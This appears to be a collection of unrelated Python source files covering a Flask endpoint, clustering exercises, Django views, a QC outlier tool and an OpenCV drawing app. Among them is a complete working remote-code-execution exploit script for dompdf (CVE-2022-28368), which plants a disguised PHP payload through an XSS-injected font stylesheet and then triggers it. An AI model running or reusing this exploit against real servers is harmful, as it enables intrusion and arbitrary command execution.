from flask import Flask, request
import json

app = Flask(__name__)

@app.route('/motion-data', methods=['POST'])
def motion_data():
    data = json.loads(request.data)
    # Do something with the motion data (e.g., store it in a database)
    return 'Motion data received'

if __name__ == '__main__':
    app.run(host='192.168.31.177', port=9090)


from functools import lru_cache
from ScienceDynamics.config.log_config import logger

class PapersFetcher(object):
    def __init__(self, db_client, db_name="journals", papers_collection="papers_features",
                 papers_join_collection="aminer_mag_papers"):
        self._db = db_client[db_name]
        self._papers_features_collection = self._db[papers_collection]
        self._papers_join_collections = self._db[papers_join_collection]

    @lru_cache(maxsize=1000000)
    def get_paper_data(self, paper_id):
        j = {}
        #logger.debug(f"Fetching paper {paper_id}")
        try:
            j = self._papers_join_collections.find({"MAG Paper ID": paper_id}).next()

        except StopIteration:
            try:
                j = self._papers_features_collection.find({"Paper ID": paper_id}).next()
            except StopIteration:
                return None

        return j

    def get_journal_papers_data(self, journal_id):
        j = {}
        logger.debug(f"Fetching journal {journal_id} papers")
        try:
            c = self._papers_features_collection.find({'Journal ID mapped to venue name': journal_id})
            l = list(c)
        except StopIteration:
            return []

        return l

    def get_papers_ids_by_issn(self, issn):
        logger.debug(f"Fetching papers with ISSN {issn}")
        try:
            return [j["MAG Paper ID"] for j in self._papers_join_collections.find({"issn": issn})]

        except StopIteration:
            return []


# -*- coding: utf-8 -*-

import numpy as np
import matplotlib.pyplot as plt

from sklearn.cluster import KMeans, DBSCAN
from sklearn import metrics
from sklearn.datasets import make_blobs
from scipy.spatial import Voronoi

# Aquí tenemos definido el sistema X de 1000 elementos de dos estados
# construido a partir de una muestra aleatoria entorno a unos centros:
centers = [[1, 1], [-1, -1], [1, -1]]
X, labels_true = make_blobs(n_samples=1000, centers=centers, cluster_std=0.4,
                            random_state=0)

plt.plot(X[:,0],X[:,1],'ro', markersize=1)
plt.show()

"""
Obtén el coeficiente s de X para diferente número de vecindades
k ∈ {1, 2, 3, ..., 15} utilizando el algoritmo KMeans. Muestra gráficamente s
en función de k y decide cuál es el número óptimo de vecindades.
"""

# ################################# K-MEANS ###################################
print (' K-MEANS '.center(80,'#'))
# Representamos los valores del coef. de Silhouette frente al número de
# clusters k. Para un solo cluster tomamos el valor s=-1 (evaluando en la fórmula)

n_clusters_values, silhouette_values = np.arange(1,16), [-1]

for num_clusters in range (2,16): # Creamos el vector de coefs. de Silhouette
    kmeans = KMeans(n_clusters=num_clusters, random_state=0).fit(X)
    silhouette = metrics.silhouette_score(X, kmeans.labels_)
    silhouette_values.append(silhouette)
silhouette_values = np.array(silhouette_values)

fig, ax = plt.subplots()
ax.plot(n_clusters_values, silhouette_values, 'ro--')
ax.set(xlabel='Number of clusters', ylabel='Silhouette')
ax.grid()
plt.show()

print ('The maximum Silhouette Coef. is obtained with %d clusters'
       % n_clusters_values[silhouette_values.argmax()])

# Análisis de Silhouette y gráfico de dispersión para cada valor de n_clusters_
# con el fin de determinar de forma más clara el número de clusters k óptimo

plt.style.use(plt.style.available[1])
n_clusters_posibles = range (2, 6)

for n_clusters_ in n_clusters_posibles:
    fig, (ax1, ax2) = plt.subplots(nrows=1, ncols=2, figsize=(15,4))

    kmeans_ = KMeans(n_clusters=n_clusters_, random_state=0).fit(X)
    labels_ = kmeans_.labels_

    silhouette_ = metrics.silhouette_score(X, labels_)
    elements_silhouette = metrics.silhouette_samples(X, labels_) # Coef. de Silh.
                                                                 # para cada muestra
    y_lower = 10 # Coordenada y de inicio de la franja correspondiente al cluster
    unique_labels_ = set(labels_)
    colors_ = [plt.cm.Spectral(each)
               for each in np.linspace(0, 1, len(unique_labels_))]

    for k, col in zip(unique_labels_, colors_):
        if k == -1:
            col = [0, 0, 0, 1] # Negro para los outliers

        xy = X[labels_ == k]
        # Tomamos los coefs. de Silhouette de cada elemento del cluster y ordenamos
        xy_elements_silhouette = elements_silhouette[labels_==k]
        xy_elements_silhouette.sort()

        y_upper = y_lower + len(xy) # Coordenada y del final de la franja

        ax1.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
                 markeredgecolor='k', markersize=5)

        ax2.fill_betweenx(np.arange(y_lower, y_upper), 0,
                          xy_elements_silhouette, facecolor=tuple(col),
                          edgecolor=tuple(col), alpha=1)
        ax2.text(-0.05, y_lower + 0.5 * len(xy), str(k))

        y_lower = y_upper + 10

    ax2.axvline(silhouette, color="red", linestyle="--", lw=1.5)
    ax2.legend(['s=%0.3f' % silhouette_])
    ax2.set(xlabel='Shilhouette Coefficients', ylabel='Elements by clusters',
            yticklabels=([]),
            xlim=[-0.1,1], ylim=[0, len(X) + (n_clusters_ + 1)*10])

    ax1.set_xlim(-2.5, 2.2), ax1.set_ylim(-2.3, 2.3)

    plt.suptitle('Clusters: %s\nSilhouette: %0.3f'
                 % (n_clusters_, silhouette_), fontsize=11, fontweight='bold')
    plt.show()

    print('CLUSTERS CENTERS:')
    print(kmeans_.cluster_centers_)
    print("SILHOUETTE COEFFICIENT: %0.3f".upper() % silhouette_)

plt.style.use('default')

# Resultado con k = 3 (óptimo)

kmeans_ = KMeans(n_clusters=3, random_state=0)
kmeans_.fit(X)
vor = Voronoi(kmeans_.cluster_centers_)

fig = plt.figure(figsize=(8,4))
plt.scatter(X[:, 0], X[:, 1], marker='o',
            c=kmeans_.predict(X), s=5, cmap='summer')
plt.title('Optimal choice: k = 3')
plt.show()

"""
Obtén el coefi
ciente s para el mismo sistema X usando ahora el algoritmo DBSCAN
con la métrica euclidean y luego con manhattan. En este caso, el parámetro que
debemos explorar es el umbral de distancia, de
jando el número de elementos
mínimo en n0 = 10. Comparad gra
camente con el resultado del apartado anterior.
"""

############################# DBSCAN EUCLIDEAN ################################
print (' DBSCAN EUCLIDEAN METRIC '.center(80,'#'))
# Para eps > 0.43 surgen problemas con el cálculo del coef. de Silhouette,
# ya que las bolas de los elementos son lo suficientemente grandes como para
# que resulte un sólo cluster.

epsilon_values = np.arange(.10, .44, .01) # tomamos valores de eps < 0.44
silhouette_values = []

# Representamos s en función de épsilon
for eps in epsilon_values:
    db = DBSCAN(eps=eps, min_samples=10, metric='euclidean').fit(X)
    silhouette_ = metrics.silhouette_score(X, db.labels_)
    silhouette_values.append(silhouette_)
silhouette_values_ = np.array(silhouette_values)

fig = plt.figure(figsize=(8,4))
plt.plot(epsilon_values, silhouette_values_, 'ro--', lw=1, markersize=5,
         markeredgecolor='k')
plt.title('Euclidean Metric', fontsize=12, fontweight='bold')
plt.xlabel('Epsilon'), plt.ylabel('Shilhouette Coefficient')
plt.grid()
plt.show()

epsilon = epsilon_values[silhouette_values_.argmax()] # Tomamos el épsilon con
                                                      # mayor coef. silhouette

print ('Umbral de distancia elegido: epsilon = %0.2f' % epsilon)
print()

# Aplicamos el algoritmo con el épsilon óptimo elegido

db = DBSCAN(eps=0.24, min_samples=10, metric='euclidean').fit(X)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
labels = db.labels_

# Number of clusters in labels, ignoring noise if present.
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
n_noise_ = list(labels).count(-1)

print('Estimated number of clusters: %d' % n_clusters_)
print('Estimated number of noise points: %d' % n_noise_)
print("Adjusted Rand Index: %0.3f"
      % metrics.adjusted_rand_score(labels_true, labels))
print("Silhouette Coefficient: %0.3f"
      % silhouette_values_.max())

# Representamos el resultado con un plot

unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
          for each in np.linspace(0, 1, len(unique_labels))]

plt.figure(figsize=(8,4))
for k, col in zip(unique_labels, colors):
    if k == -1:
        # Black used for noise.
        col = [0, 0, 0, 1]

    class_member_mask = (labels == k)

    xy = X[class_member_mask & core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=5)

    xy = X[class_member_mask & ~core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=3)

plt.title('Estimated number of DBSCAN clusters: %d' % n_clusters_)
plt.show()

# ########################### DBSCAN MANHATTAN ################################
print (' DBSCAN MANHATTAN METRIC '.center(80,'#'))
# Para eps > 0.51 surgen problemas, ya que nos conduce a clasificar los puntos
# en un sólo cluster y no puede calcular el coef. de Silhouette

epsilon_values = np.arange(.10, .52, .01) # epsilon < 0.53
silhouette_values = []

# Representamos los coeficientes de Silhouette en función del umbral distancia

for eps in epsilon_values:
    db = DBSCAN(eps=eps, min_samples=10, metric='manhattan').fit(X)
    silhouette_ = metrics.silhouette_score(X, db.labels_)
    silhouette_values.append(silhouette_)
silhouette_values_ = np.array(silhouette_values)

fig = plt.figure(figsize=(10,4))
plt.plot(epsilon_values, silhouette_values_, 'ro--', lw=1, markersize=5,
         markeredgecolor='k')
plt.title('Manhattan Metric', fontsize=12, fontweight='bold')
plt.xlabel('Épsilon'), plt.ylabel('Shilhouette Coefficient')
plt.grid()
plt.show()

epsilon = epsilon_values[silhouette_values_.argmax()] # Tomamos el épsilon cuyo
                                                      # silhouette es más elevado

print ('Chosen distance threshold: epsilon = %0.2f' % epsilon)
print()

# Aplicamos el algoritmo, esta vez con el épsilon óptimo

db = DBSCAN(eps=epsilon, min_samples=10, metric='manhattan').fit(X)
core_samples_mask = np.zeros_like(db.labels_, dtype=bool)
core_samples_mask[db.core_sample_indices_] = True
labels = db.labels_

# Number of clusters in labels, ignoring noise if present.
n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)
n_noise_ = list(labels).count(-1)

print('Estimated number of clusters: %d' % n_clusters_)
print('Estimated number of noise points: %d' % n_noise_)
print("Adjusted Rand Index: %0.3f"
      % metrics.adjusted_rand_score(labels_true, labels))
print("Silhouette Coefficient: %0.3f"
      % silhouette_values_.max())

# Representamos el resultado con un plot

unique_labels = set(labels)
colors = [plt.cm.Spectral(each)
          for each in np.linspace(0, 1, len(unique_labels))]

plt.figure(figsize=(8,4))
for k, col in zip(unique_labels, colors):
    if k == -1:
        # Black used for noise.
        col = [0, 0, 0, 1]

    class_member_mask = (labels == k)

    xy = X[class_member_mask & core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=5)

    xy = X[class_member_mask & ~core_samples_mask]
    plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col),
             markeredgecolor='k', markersize=3)

plt.title('Estimated number of DBSCAN clusters: %d' % n_clusters_)
plt.show()

"""
Se intentó aplicar un método para la elección de épsilon basado en la curvatura
de la gráfica que pinta el código de abajo sin llegar a resultados concluyentes.

neigh = NearestNeighbors(n_neighbors=2, metric='manhattan')
nbrs = neigh.fit(X)
distances, indices = nbrs.kneighbors(X)

distances = np.sort(distances, axis=0)
distances = distances[:,1]
fig = plt.figure()
plt.plot(distances)
plt.grid()
plt.show()
"""


from django.shortcuts import render
from django.shortcuts import get_object_or_404
# Create your views here.
from django.http import HttpResponse
from .models import Site, Value

def index(request):
    listSites = Site.objects.all()
    context = {'listaSites' : listSites}
    return render(request, 'index.html', context)

def summary(request):
    sites = Site.objects.all()
    sum_a_aux = 0
    sum_b_aux = 0
    sum_a = {}
    sum_b = {}

    for site in sites:
        values_list = Value.objects.filter(site=site)
        for value in values_list:
                sum_a_aux = sum_a_aux + value.value_A
                sum_b_aux = sum_b_aux + value.value_B

        if(len(values_list) != 0):
            sum_a[site] = sum_a_aux
            sum_b[site] = sum_b_aux
            sum_a_aux = 0
            sum_b_aux = 0

    context = {'sites': sites, 'sum_a': sum_a, 'sum_b': sum_b}
    return render(request, 'summary.html', context)

def summary_average(request):
    sites = Site.objects.all()

    sum_a_aux = 0
    sum_b_aux = 0
    average_a = {}
    average_b = {}
    count = 0

    for site in sites:
        values_list = Value.objects.filter(site=site)
        for value in values_list:
            if value.site == site:
                sum_a_aux = sum_a_aux + value.value_A
                sum_b_aux = sum_b_aux + value.value_B
                count = count + 1

        if(len(values_list) != 0):
            average_a[site] = sum_a_aux/count
            average_b[site] = sum_b_aux/count
            count = 0
            sum_a_aux = 0
            sum_b_aux = 0

    context = {'sites': sites, 'average_a': average_a, 'average_b': average_b}
    return render(request, 'summary_average.html', context)

def site_details(request, site_id):
    site = get_object_or_404(Site, pk=site_id)
    values_list = Value.objects.filter(site=site).order_by('pub_date')
    values_list_site = []

    for value in values_list:
            values_list_site.append(value)

    context = {'site': site, 'values_list_site': values_list_site}
    return render(request, 'site_details.html', context)


import argparse
import multiprocessing
import shlex

import fim
import pandas as pd

import export
import outlier
import preprocess

##############################################################################

# DATA LOADING AND PRE-PROCESSING

def load_metrics(file_in, min_var, min_corr, scaling):
    # load data from the input file
    data_raw = preprocess.load_metrics(file_in)

    # pre-process: remove low-variance and correlated metrics & scale the values
    data, variance, cor = preprocess.preprocess(data_raw, min_variance=min_var, min_corr=min_corr, scaling_mode=scaling)

    # add the preprocessing results to the qcML export
    exporter.low_variance(pd.Series(variance, index=data_raw.columns.values), min_var)
    exporter.correlation(cor, min_corr)
    exporter.preprocess_overview(data_raw.columns.values, variance, min_var, cor, min_corr)

    # add general visualizations to the qcML export
    exporter.global_visualization(data)

    return data

##############################################################################

# OUTLIER DETECTION

def detect_outliers(data, k, dist, outlier_threshold=None, num_bins=20):
    # compute outlier scores
    outlier_scores = outlier.detect_outliers_loop(data, k, metric=dist)

    # compute the outlier threshold (if required)
    if outlier_threshold is None:
        outlier_threshold = outlier.detect_outlier_score_threshold(outlier_scores, num_bins)

    # add the outlier score information to the qcML export
    exporter.outlier_scores(data, outlier_scores, outlier_threshold, num_bins)

    # separate significant outliers
    data_excluding_outliers, outliers = outlier.split_outliers(data, outlier_scores, outlier_threshold)

    return outliers, pd.Series(outlier_scores, data.index.get_level_values(0))

def analyze_outliers(data, outliers, k, min_sup):
    # retrieve explanatory subspaces for each outlier
    outliers['FeatureImportance'] = object
    outliers['Subspace'] = object
    with multiprocessing.Pool() as pool:
        # compute the subspace for each outlier
        subspaces = {name: pool.apply_async(outlier.get_outlier_subspace, (data, this_outlier, k))
                     for name, this_outlier in outliers.iterrows()}

        # set the outlier subspaces
        for name, result in subspaces.items():
            feature_importance, subspace = result.get()
            outliers.at[name, 'FeatureImportance'] = feature_importance.values
            outliers.at[name, 'Subspace'] = subspace

    # add the outliers' subspaces to the export
    for name, this_outlier in outliers.iterrows():
        exporter.outlier(this_outlier, data)

    # detect frequently occurring explanatory subspaces
    frequent_subspaces = sorted(fim.fim(outliers.Subspace, supp=min_sup, report='S'), key=lambda x: x[1], reverse=True)
    frequent_subspaces_table = pd.DataFrame(index=range(len(frequent_subspaces)),
                                            columns=['Outlier subspace QC metric(s)', 'Support (%)'])
    for i, (subspace, support) in enumerate(frequent_subspaces):
        frequent_subspaces_table.at[i, 'Outlier subspace QC metric(s)'] = ', '.join(subspace)
        frequent_subspaces_table.at[i, 'Support (%)'] = round(support)

    exporter.frequent_outlier_subspaces(frequent_subspaces_table, min_sup)

    return frequent_subspaces

##############################################################################

#  EXECUTE

# command-line execution
def parse_args(args_str=None):
    parser = argparse.ArgumentParser(description='Mass spectrometry quality control metrics analysis')
    parser.add_argument('file_in', type=argparse.FileType('r'),
                        help='the tab-separated input file containing the QC metrics')
    parser.add_argument('file_out', type=argparse.FileType('w'),
                        help='the name of the output file (.html extension for HTML export (default), '
                             '.qcml extension for qcML export')
    parser.add_argument('--min_var', '-var', default=0.0001, type=float,
                        help='metrics with a lower variance will be removed (default: %(default)s)')
    parser.add_argument('--min_corr', '-corr', default=0.9, type=float,
                        help='metrics with a higher correlation will be removed (default: %(default)s)')
    parser.add_argument('--scaling_mode', '-scale', default='robust', type=str, choices=['robust', 'standard'],
                        help='mode to standardize the metric values (default: %(default)s)')
    parser.add_argument('--k_neighbors', '-k', type=int, required=True,
                        help='the number of nearest neighbors used for outlier detection and interpretation')
    parser.add_argument('--distance', '-dist', default='manhattan', type=str,
                        help='metric to use for distance computation (default: %(default)s) '
                             'ny metric from scikit-learn or scipy.spatial.distance can be used')
    parser.add_argument('--min_outlier', '-o', default=None, type=float,
                        help='the minimum outlier score threshold (default: %(default)s) '
                             'if no threshold is provided, an automatic threshold is determined')
    parser.add_argument('--num_bins', '-bin', default=20, type=int,
                        help='the number of bins for the outlier score histogram (default: %(default)s)')
    parser.add_argument('--min_sup', '-sup', default=5, type=int,
                        help='the minimum support for subspace frequent itemset mining (default: %(default)s) '
                             'positive numbers are interpreted as percentages, negative numbers as absolute supports')

    # parse command-line arguments
    if args_str is None:
        return parser.parse_args()
    # or parse string arguments
    else:
        return parser.parse_args(shlex.split(args_str))

def run(args):
    global exporter
    exporter = export.Exporter(True, False)

    data = load_metrics(args.file_in, args.min_var, args.min_corr, args.scaling_mode)
    outliers, outliers_score = detect_outliers(data, args.k_neighbors, args.distance, args.min_outlier, args.num_bins)
    analyze_outliers(data, outliers, args.k_neighbors, args.min_sup)

    try:
        exporter.export(args.file_out)
    finally:
        args.file_out.close()

if __name__ == '__main__':
    run(parse_args())

##############################################################################


#!/usr/bin/python3

import argparse
import json
import time
import cv2
import numpy as np

# dictionary with ranges
ranges_pcss = {"b": {"min": 100, "max": 256},
               "g": {"min": 100, "max": 256},
               "r": {"min": 100, "max": 256},
               }

def main():
    """
    INITIALIZE -----------------------------------------
    """
    # program flags
    background_white = True  # background color
    pointer_on = False  # pointer method incomplete
    rect_drawing = False  # rectangle drawing flag
    circle_drawing = False  # circle drawing flag

    # variables
    dot_x, dot_y = 0, 0  # pen points
    prev_x, prev_y = 0, 0  # point for continuous draw
    rect_pt1_x, rect_pt1_y, rect_pt2_x, rect_pt2_y = 0, 0, 0, 0  # rectangle drawing points
    circle_pt1_x, circle_pt1_y, circle_pt2_x, circle_pt2_y = 0, 0, 0, 0  # circle drawing points

    # parse the json file with BGR limits (from color_segmenter.py)
    parser = argparse.ArgumentParser(description="Load a json file with limits")
    parser.add_argument("-j", "--json", type=str, required=True, help="Full path to json file")
    args = vars(parser.parse_args())

    # read the json file
    with open(args["json"], "r") as file_handle:
        data = json.load(file_handle)

    # print json file then close
    # print(data)  # debug
    file_handle.close()

    ranges_pcss["b"]["min"] = data["b"]["min"]
    ranges_pcss["b"]["max"] = data["b"]["max"]
    ranges_pcss["g"]["min"] = data["g"]["min"]
    ranges_pcss["g"]["max"] = data["g"]["max"]
    ranges_pcss["r"]["min"] = data["r"]["min"]
    ranges_pcss["r"]["max"] = data["r"]["max"]

    # print(ranges_pcss)  # debug

    # numpy arrays
    mins_pcss = np.array([ranges_pcss['b']['min'], ranges_pcss['g']['min'], ranges_pcss['r']['min']])
    maxs_pcss = np.array([ranges_pcss['b']['max'], ranges_pcss['g']['max'], ranges_pcss['r']['max']])

    # initial setup
    capture = cv2.VideoCapture(0)  # connect to webcam

    # create the window
    window_segmented = "Color Segmenter"
    cv2.namedWindow(window_segmented, cv2.WINDOW_AUTOSIZE)

    # create a white image background dim 600*400
    background = np.zeros((422, 750, 3), np.uint8)
    background.fill(255)

    # window for display background/draw area
    draw_area = "Draw Area"
    cv2.namedWindow(draw_area)

    # merged camera and drawing
    merged_area = "Interactive Drawing"
    cv2.namedWindow(merged_area)
    image_canvas = np.zeros((422, 750, 3), np.uint8)

    # pen variables
    pen_color = (0, 0, 0)
    pen_thickness = 5

    """
    EXECUTION -----------------------------------------
    """
    while True:
        # read the image
        _, image = capture.read()
        image = cv2.resize(image, (750, 422))  # resize the capture window

        # apply filters
        # blurred_frame = cv2.GaussianBlur(image, (5, 5), 0)

        # transform the image and show it
        mask = cv2.inRange(image, mins_pcss, maxs_pcss)  # colors mask
        image_segmenter = cv2.bitwise_and(image, image, mask=mask)

        # get contours
        contours, hierarchy = cv2.findContours(mask.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_NONE)
        # cv2.drawContours(image_segmenter, contours, -1, (0, 0, 255), 3)
        # cv2.drawContours(image, contours, -1, (0, 0, 255), 3)

        # create the rectangle over object and draw on the background
        for contours in contours:
            (x, y, w, h) = cv2.boundingRect(contours)

            # draw the rectangle only if the area is > 3000 px
            # print(cv2.contourArea(contours)) # debug
            if cv2.contourArea(contours) < 3000:
                continue

            # draw the rectangle
            cv2.rectangle(image, (x, y), (x + w, y + h), (0, 255, 0), 2)

            # dot in the center of the rectangle
            dot_x = x + w / 2
            dot_y = y + h / 2
            cv2.circle(image, (int(dot_x), int(dot_y)), 10, (0, 0, 0), cv2.FILLED)

            # draw in the background
            if prev_x == 0 and prev_y == 0:  # skip first iteration
                prev_x, prev_y = dot_x, dot_y

            if abs(prev_x - dot_x) < 50 and abs(prev_y - dot_y) < 50:   # mitigate appears and disappears of the pen
                cv2.line(background, (int(prev_x), int(prev_y)), (int(dot_x), int(dot_y)), pen_color, pen_thickness)
                cv2.line(image_canvas, (int(prev_x), int(prev_y)), (int(dot_x), int(dot_y)), pen_color, pen_thickness)
                prev_x, prev_y = dot_x, dot_y
            else:
                prev_x, prev_y = 0, 0

            # --------------------------------
            # if not pointer_on:
            #     cv2.circle(background, (int(dot_x), int(dot_y)), pen_thickness, pen_color, cv2.FILLED)
            # else:
            #     cv2.circle(background, (int(dot_x), int(dot_y)), pen_thickness, pen_color, cv2.FILLED)
            #     # background.fill(255)

        # imshows
        cv2.imshow(window_segmented, image_segmenter)  # drawing object (pen)
        cv2.imshow(draw_area, background)  # draw area
        cv2.imshow("Original", image)

        # merge the video and the drawing ----------------------------INCOMPLETE DOESN'T DRAW THE BLACK COLOR
        # image_merged = cv2.addWeighted(image, 0.5, background, 0.5, 0) # merged the images_recog to draw on the video
        # cv2.imshow(merged_area, image_merged)
        image_gray = cv2.cvtColor(image_canvas, cv2.COLOR_BGR2GRAY)
        _, image_inverse = cv2.threshold(image_gray, 50, 255, cv2.THRESH_BINARY_INV)
        image_inverse = cv2.cvtColor(image_inverse, cv2.COLOR_GRAY2BGR)
        image = cv2.bitwise_and(image, image_inverse)
        image = cv2.bitwise_or(image, image_canvas)
        cv2.imshow(merged_area, image)

        """
        interactive keys (k) -----------------------------------------
        """
        # ESC to close
        k = cv2.waitKey(1) & 0xFF
        if k == 27:
            break

        # clean the screen
        if k == ord("c"):
            if background_white:
                background.fill(255)
                image_canvas.fill(0)
                print("CLEAN")
            else:
                background.fill(0)

        # red color
        if k == ord("r"):
            pen_color = (0, 0, 255)
            print("YOU SELECT RED COLOR")

        # green color
        if k == ord("g"):
            pen_color = (0, 255, 0)
            print("YOU SELECT GREEN COLOR")

        # blue color
        if k == ord("b"):
            pen_color = (255, 0, 0)
            print("YOU SELECT BLUE COLOR")

        # black color
        if k == ord("B"):
            if background_white:
                pen_color = (0, 0, 0)
                print("YOU SELECT BLACK COLOR")
            else:
                pen_color = (255, 255, 255)
                print("YOU SELECT WHITE COLOR")

        # thickness
        if k == ord("T"):
            pen_thickness += 1
            print("THICKNESS: " + str(pen_thickness))

        if k == ord("t"):
            pen_thickness -= 1
            if pen_thickness < 0:
                pen_thickness = 0
            print("THICKNESS: " + str(pen_thickness))

        # erase
        if k == ord("e"):
            if background_white:
                pen_color = (255, 255, 255)
                print("YOU SELECT ERASER")
            else:
                pen_color = (0, 0, 0)
                print("YOU SELECT ERASER")

        # flip the background
        if k == ord("f"):
            if background_white:
                background.fill(0)
                background_white = False
                pen_color = (255, 255, 255)
            else:
                background.fill(255)
                background_white = True
                pen_color = (0, 0, 0)

        # pointer mode ---- not working
        if k == ord("p"):
            if pointer_on:
                pointer_on = False
            else:
                pointer_on = True

        # draw a rectangle------------------------------------------ INCOMPLETE, DRAW MULTIPLE RECTANGLES
        if k == ord("R"):
            rect_drawing = True
            rect_pt1_x = int(dot_x)
            rect_pt1_y = int(dot_y)
            # print(rect_cnt)
            # print(rect_pt1_x, rect_pt1_y)

        if rect_drawing:
            rect_pt2_x = int(dot_x)
            rect_pt2_y = int(dot_y)
            cv2.rectangle(background, (rect_pt1_x, rect_pt1_y), (rect_pt2_x, rect_pt2_y), pen_color, cv2.FILLED)

        if k == ord("L") and rect_drawing:
            rect_pt2_x = int(dot_x)
            rect_pt2_y = int(dot_y)
            rect_drawing = False
            cv2.rectangle(background, (rect_pt1_x, rect_pt1_y), (rect_pt2_x, rect_pt2_y), pen_color, cv2.FILLED)

        # draw a circle------------------------------------------ INCOMPLETE, DOESN'T WORK PROPERLY
        if k == ord("C"):
            circle_drawing = True
            circle_pt1_x = int(dot_x)
            circle_pt1_y = int(dot_y)

        if circle_drawing:
            circle_pt2_x = int(dot_x)
            circle_pt2_y = int(dot_y)
            # cv2.circle(image, center_coordinates, radius, color, thickness)
            cv2.ellipse(background, (circle_pt1_x, circle_pt1_y),
                        (circle_pt2_x, circle_pt2_y), 45, 45, 360, pen_color, cv2.FILLED)

        if k == ord("L") and circle_drawing:
            circle_pt2_x = int(dot_x)
            circle_pt2_y = int(dot_y)
            circle_drawing = False
            cv2.ellipse(background, (circle_pt1_x, circle_pt1_y),
                        (circle_pt2_x, circle_pt2_y), 0, 0, 360, pen_color, cv2.FILLED)

    """
    FINALIZATION -----------------------------------------
    """
    capture.release()  # free the webcam for other use
    cv2.destroyAllWindows()

if __name__ == '__main__':
    main()


#!/usr/bin/python3

import argparse
import string
import random
from pwn import *
import subprocess
import requests
import netifaces
import sys
import json
import hashlib
from urllib.parse import urlencode

webserver_port = 9001
proxies = {"http": "http://127.0.0.1:8080"}

class dompdf_rce:
    def __init__(self, dompdf, fonts, payload, rhost, query):
        self.dompdf = dompdf
        self.fonts = fonts
        self.payload = payload
        self.rhost = rhost
        self.query = query

    def create_file(self):
        filename = ''.join(random.choice(string.ascii_lowercase) for i in range(4))
        log.info(f"Creating malicious PHP -> {filename}.php")
        url_php = f"http://{self.rhost}:{webserver_port}/{filename}.php"
        with open(f"{filename}.php", "w") as f:
            # Bypassing PHP file upload with TTF byte header
            # TTF header = \x00\x01\x00\x00\x00
            f.write(f"\x00\x01\x00\x00\x00{self.payload}")
            f.close()
        log.info(f"Creating malicious CSS -> {filename}.css")
        with open(f"{filename}.css", "w") as f:
            f.write("""@font-face {
    font-family:'""" + filename + """';
    src:url('""" + url_php + """');
    font-weight:'normal';
    font-style:'normal';
    }
    """)
            f.close()
        return filename,url_php

    def xss(self, url_php, filename):
        log.info(f"Starting up web server on port {webserver_port}")
        if re.search("FUZZ", self.query) is not None:
            payload = re.sub("FUZZ", f"<link rel=stylesheet href='http://{self.rhost}:{webserver_port}/{filename}.css'>", self.query)
            log.info(f"Exploiting XSS with external stylesheet ({url_php})")
            try:
                json_data = json.loads(payload)
                query = urlencode(json_data)
            except ValueError:
                json_data = dict((a.strip(), b.strip()) for a, b in (section.split("=", 1) for section in payload.split("&")))
                query = payload
            http_server = subprocess.Popen(['python3', '-m', 'http.server', '9001', '-d', '.'], stdout=subprocess.DEVNULL, stderr=subprocess.STDOUT)
            sleep(3)
            get = requests.get(url = f"{self.dompdf}?{query}")
            log.info(f"Performing GET request with query -> {get.status_code}")
            post_data = requests.post(self.dompdf, data=json_data)
            log.info(f"Performing POST request with query -> {post_data.status_code}")
            post_json = requests.post(self.dompdf, json=json_data)
            log.info(f"Performing POST request with JSON -> {post_json.status_code}")
            log.info(f"Terminating web server on port {webserver_port}")
            http_server.terminate()
            if 200 not in (get.status_code, post_data.status_code, post_json.status_code):
                log.failure("Exploit failed! No 200 status code found in all scenario")
                sys.exit()
            md5sum = hashlib.md5(f'{url_php}'.encode('UTF-8')).hexdigest()
            log.success(f'MD5 hash of "{url_php}" -> {md5sum}')
            url_hash = f"{self.fonts}/{filename}_normal_{md5sum}.php"
            log.success(f'PHP file URL -> "{url_hash}"')
            r = requests.get(url_hash)
            if r.status_code == 200:
                log.info("Triggering PHP")
                log.success("Printing PHP output:")
                print(r.text.replace("\x00", ""))
            else:
                log.failure("File not found! Please check the fonts URL. Normally fonts URL directory located on http://test.com/dompdf/lib/fonts/")
        else:
            log.error(f'Missing "FUZZ" in HTTP query. Query: {self.query}')

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="dompdf-rce (CVE-2022-28368)")
    parser.add_argument("--dompdf", help="dompdf URL")
    parser.add_argument("--fonts", help="dompdf fonts URL")
    parser.add_argument("--query", help="HTTP query. Please mark with FUZZ. Example: token=abc&input=FUZZ")
    parser.add_argument("--payload", help="Command to execute. Ex: 'ping -c 1 10.10.10.123'")
    args = parser.parse_args()
    if all(arguments is None for arguments in [args.dompdf, args.fonts, args.query, args.payload]):
        log.error("Missing arguments!")
    else:
        try:
            # rhost = "10.10.14.14"
            rhost = netifaces.ifaddresses('tun0')[netifaces.AF_INET][0]['addr']
            exploit = dompdf_rce(args.dompdf, args.fonts, args.payload, rhost, args.query)
            x = exploit.create_file()
            filename = x[0]
            url_php = x[1]
            exploit.xss(url_php, filename)
        except ValueError:
            log.error("Missing tun0 interface! Please check your VPN connection")

dompdf v1.2.1 RCE (CVE-2022-28368)/dompdf-rce.py


import numpy as np
import random
from scipy.stats import norm
from scipy.special import expit as sigmoid

class BBVI(object):
    def __init__(self,trainSource,testSource,featureDim,
    maxIteration,batchSize,sampleSize,stepScale,startPara,
    dataAccessing='RA',interval=100,testSampleNum=200):
        self._maxiteration=maxIteration#最大迭代次数
        self._batchSize=batchSize#batch大小
        self._dataAccessing=dataAccessing
        self._sampleSize=sampleSize#z采样数量
        self._stepScale=stepScale#步长
        self._interval=interval#测试间隔
        self.__batchCount=0#batch在CA获取方式下的标记点
        self._trainLabels,self._trainFeatures=self.__loading(trainSource,featureDim)
        self._testLabels,self._testFeatures=self.__loading(testSource,featureDim)
        self._dim=len(self._trainFeatures[0])#数据维数
        self._trainNum=len(self._trainLabels)#训练数据量
        self._testNum=len(self._testLabels)#测试数据量
        self._testSampleNum=testSampleNum
        '''
        '''
        self.epochs=np.array([batchSize*i/self._trainNum for i in range(maxIteration)])
